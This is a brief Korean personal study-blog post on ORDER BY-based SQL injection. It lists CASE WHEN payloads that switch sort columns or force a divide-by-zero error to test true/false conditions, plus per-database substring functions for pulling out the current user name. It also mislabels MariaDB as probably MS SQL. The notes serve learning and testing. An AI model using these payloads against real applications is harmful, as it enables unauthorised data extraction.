공부/혼자 삽질 보관함

[SQL Injection] order by

마준123 2023. 7. 17. 10:08

컬럼 명을 알때

  1. order by (case when 1=1 then 컬럼명 else 컬럼명2 end)
    1. 컬럼명 1로 정렬됨
  2. order by (case when 1=2 then 컬럼명 else 컬럼명2 end)
    1. 컬럼명 2로 정렬됨

컬럼 명을 모를때

  1. order by (case when 1=1 then 1 else 1/0 end)
    1. 무언가로 정렬됨
  2. order by (case when 1=2 then 1 else 1/0 end)
    1. 1/0이 무한대가 되면서 터져버리고 오류가남 ( db종류와 버전에따라 다름)

DB별 함수 차이

  1. 오라클
    1. substr(user,1,1)
  2. MYSQL
    1. substr(user(),1,1)
  3. MaridDB 아마 MS SQL 인 것 같음
    1. substring(user,1,1)
    2. substring(DB_NAME(),1,1)

'공부 > 혼자 삽질 보관함' 카테고리의 다른 글

AWS에 CentOS,Oracle 환경구축  (0) 2023.07.17
[SQL Injection] err based  (0) 2023.03.30
[SQL Injection] Union based  (0) 2023.03.30